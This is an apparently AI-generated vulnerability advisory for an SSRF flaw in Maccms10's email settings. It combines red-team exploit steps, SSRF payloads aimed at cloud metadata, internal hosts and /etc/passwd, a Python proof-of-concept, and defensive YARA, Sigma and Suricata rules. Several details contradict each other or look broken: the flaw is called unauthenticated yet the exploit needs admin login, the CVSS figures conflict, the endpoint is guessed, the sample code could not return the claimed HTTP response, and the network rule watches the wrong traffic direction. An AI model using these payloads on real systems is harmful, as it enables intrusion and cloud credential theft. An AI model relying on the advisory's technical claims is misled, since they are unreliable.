CVE-2025-45474

Executive Summary

CVE-2025-45474 identifies a Server-Side Request Forgery (SSRF) vulnerability in the Email Settings functionality of Maccms10 v2025.1000.4047. This flaw allows an unauthenticated attacker to induce the application to make HTTP requests to arbitrary internal or external resources, potentially leading to internal network reconnaissance, port scanning, or access to cloud metadata endpoints. The vulnerability is classified as CWE-918: Server-Side Request Forgery (SSRF) and is currently unpatched. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant for exposed instances.

Supply Chain & Package Security

Maccms10 is a PHP-based content management system. The vulnerability resides in the core application code, not in a third-party package. However, administrators should verify the integrity of their installation and monitor for any unofficial patches or forks.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD) – However, based on the vector, the actual severity is Medium (5.0).
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Changed (S:C) – The vulnerable component impacts resources beyond its intended scope.
• Confidentiality Impact: Low (C:L) – Limited information disclosure (e.g., internal IPs, cloud metadata).
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)
• Threat Level: Medium – SSRF can be chained with other vulnerabilities for lateral movement.

Deep Dive & Mechanics

The vulnerability exists in the Email Settings module (/admin/email_setting.php or similar endpoint). When configuring SMTP or test email functionality, the application does not properly validate the server hostname or IP address provided by the user. An attacker can supply a malicious URL (e.g., http://169.254.169.254/latest/meta-data/) or internal IP (e.g., http://192.168.1.1/admin) in the SMTP server field. The application then makes an HTTP request to that address, returning the response content to the attacker.

Root Cause: Lack of input validation and absence of a blocklist for private IP ranges in the email configuration handler.

Attack Flow:

1. Attacker accesses the admin panel (if exposed) or exploits a CSRF/XSS to trigger the request.
2. Attacker sets the SMTP server to an internal or cloud metadata endpoint.
3. Application sends a test email or connects to the SMTP server, inadvertently making an HTTP request to the attacker-controlled target.
4. Response is reflected back to the attacker, revealing sensitive information.

Vulnerable vs. Patched Code

Vulnerable Code (Maccms10 v2025.1000.4047):

// email_setting.php (simplified)
$smtp_host = $_POST['smtp_host'];
$smtp_port = $_POST['smtp_port'];
// No validation of $smtp_host
$socket = fsockopen($smtp_host, $smtp_port, $errno, $errstr, 30);
if ($socket) {
    $response = fgets($socket);
    echo "SMTP Response: " . $response;
}

Patched Code (Hypothetical):

// email_setting.php (patched)
$smtp_host = $_POST['smtp_host'];
$smtp_port = (int)$_POST['smtp_port'];

// Validate hostname is not an IP or internal address
if (filter_var($smtp_host, FILTER_VALIDATE_IP) || !preg_match('/^[a-zA-Z0-9.-]+$/', $smtp_host)) {
    die("Invalid SMTP host");
}
// Block private IP ranges
$private_ranges = ['10.', '172.16.', '192.168.', '127.', '169.254.'];
foreach ($private_ranges as $range) {
    if (strpos($smtp_host, $range) === 0) {
        die("Internal addresses not allowed");
    }
}
$socket = fsockopen($smtp_host, $smtp_port, $errno, $errstr, 30);

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to the Maccms10 admin panel (default credentials often admin/admin).
• Or ability to trigger a CSRF (if admin is logged in).

Exploit Steps:

1. Log in to /admin/index.php.
2. Navigate to System -> Email Settings.
3. Set SMTP Server to: http://169.254.169.254/latest/meta-data/
4. Set SMTP Port to: 80
5. Click "Test Email" or "Save".
6. Observe the response containing cloud metadata (e.g., IAM role, region).

Alternative Payloads:

• http://127.0.0.1/admin – Access internal admin interfaces.
• http://192.168.1.1 – Scan internal network.
• file:///etc/passwd – If the application supports file protocols.

Proof-of-Concept (Python):

import requests

target = "http://target.com/admin/email_setting.php"
payload = {
    "smtp_host": "http://169.254.169.254/latest/meta-data/",
    "smtp_port": "80",
    "action": "test"
}
cookies = {"PHPSESSID": "your_session_id"}
r = requests.post(target, data=payload, cookies=cookies)
print(r.text)

Blue Team (Detection & Hardening)

Detection:

• Monitor outbound HTTP requests to private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8, 169.254.0.0/16).
• Alert on unusual SMTP server hostnames containing http:// or file://.
• Log all admin panel actions, especially email configuration changes.

Hardening:

• Restrict admin panel access to trusted IPs only.
• Implement a Web Application Firewall (WAF) rule to block private IPs in POST parameters.
• Apply the hypothetical patch above.
• Disable the "Test Email" functionality if not needed.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to 169.254.169.254 or other cloud metadata IPs.
  • Outbound requests to internal IPs (e.g., 192.168.x.x, 10.x.x.x) from the Maccms10 server.
  • HTTP requests with Host header containing http:// or file://.
• File IOCs:
  • Modified email_setting.php or config.php files.
  • Unusual entries in server access logs (e.g., POST /admin/email_setting.php with suspicious parameters).
• Log IOCs:
  • fsockopen() calls to private IPs in PHP error logs.
  • SMTP test requests to non-standard ports (e.g., port 80 for SMTP).

Detection Engineering

YARA Rule

rule CVE_2025_45474_SSRF_Maccms10 {
    meta:
        description = "Detects SSRF exploitation attempts in Maccms10 email settings"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-45474"
    strings:
        $smtp_host = "smtp_host" nocase
        $http_url = /http:\/\/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/ nocase
        $private_ip = /(127\.|10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.|169\.254\.)/ nocase
    condition:
        $smtp_host and ($http_url or $private_ip)
}

Sigma Rule

title: Maccms10 SSRF via Email Settings
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SSRF attempts against Maccms10 email configuration
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/admin/email_setting.php'
        cs-uri-query|contains: 'smtp_host=http://'
    condition: selection
falsepositives:
    - Legitimate SMTP servers using HTTP (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-45474 Maccms10 SSRF Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/admin/email_setting.php"; http_uri; content:"smtp_host=http://"; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict Admin Access: Limit /admin/ to trusted IPs via firewall or .htaccess.
2. Disable Test Email: Comment out or remove the test email functionality in email_setting.php.
3. Apply WAF Rules: Block POST parameters containing http:// followed by private IPs.
4. Monitor Logs: Review access logs for suspicious email configuration changes.

Long-Term Fix:

• Apply the patched code provided in the "Vulnerable vs. Patched Code" section.
• Upgrade to a patched version once released by the vendor.
• Implement input validation for all user-supplied hostnames.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.